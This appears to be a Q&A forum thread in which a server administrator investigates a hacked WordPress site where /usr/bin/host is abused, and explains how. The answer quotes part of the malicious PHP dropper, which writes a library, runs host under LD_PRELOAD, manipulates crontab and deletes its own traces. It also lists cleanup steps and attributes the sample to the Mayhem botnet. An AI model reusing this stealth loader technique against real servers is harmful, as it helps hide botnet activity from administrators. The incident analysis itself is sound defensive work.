/usr/bin/host executed by hacked PHP script
Today I noticed unusual high request rate on Apache webserver and also quite high incoming network traffic. Upon checking Apache's mod_status page, I found the offending URLs to be from path www.server.com/www/wp-includes/js/tinymce/plugins/wpautoresize/. And indeed I have found several hacked (obfuscated) PHP scripts there.
Also noticed weird process executed by www-data user:
www-data 7300 10.8 0.1 2122900 18768 ? Ssl Jul11 121:47 /usr/bin/host
Checking /proc/7300/cmdline revealed that indeed this is the original /usr/bin/host binary. netstat -anp showed it has many HTTP connections opened, so somehow that binary is abused. debsums confirmed the binary checksum to be OK. As the process was run under www-data user, I had no reason to believe server itself was compromised.
How is that binary abused?
EDIT: This not broad "how to deal with compromised server" question. Rather a question (and already an answer) about one specific type of abuse how is it technically done, as this particular case is quite creative in how it works. It seems this is in wild for several years now (old threads & questions from 2012) and I encountered it this week.
Solution 1:
After digging in the source codes of offended PHP scripts and googling (this thread), I have found an explanation.
This is part of system.php code which I have found:
<?php
// ...
$n = file_put_contents("./libworker.so", $so);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
@file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
// ...
How /usr/bin/host is involved is a bit more advanced. Programs use libraries (.so files) for some of their functions. Users can prelink (LD_PRELOAD) some .so file(s) before launching a legitimate binary to change how it acts.
As you can see this script creates a file libworker.so and uses LD_PRELOAD environment variable to preload it, so legitimate host binary is doing something totally different.
It creates a 1.sh shell script and tries to execute it in several ways (directly, using at command, using cron). Immediately after that it removes the script and library file from disk, so it gets un-noticed.
What happened in the first place was that some vulnerable Wordpress plugin got abused and attacker was able to put their files into word-writabble directories.
Mitigation means analyzing old access log files for that domain and trying to find any POST requests to unusual locations - for example directly accessing WP/Joomla plugin's PHP files is unusual. Then remove all found obfuscated PHP files, fix directory permissions, terminate running host processes and monitor logfiles for any attemps of re-hacks.
EDIT: I've got info from ESET that they alredy detect this particular library and also other versions. Antivirus companies give it name Roopre and it seems that it is used as part of Mayhem botnet.
In-depth analysis of the Mayhem botnet.
In-depth analysis of this exploit.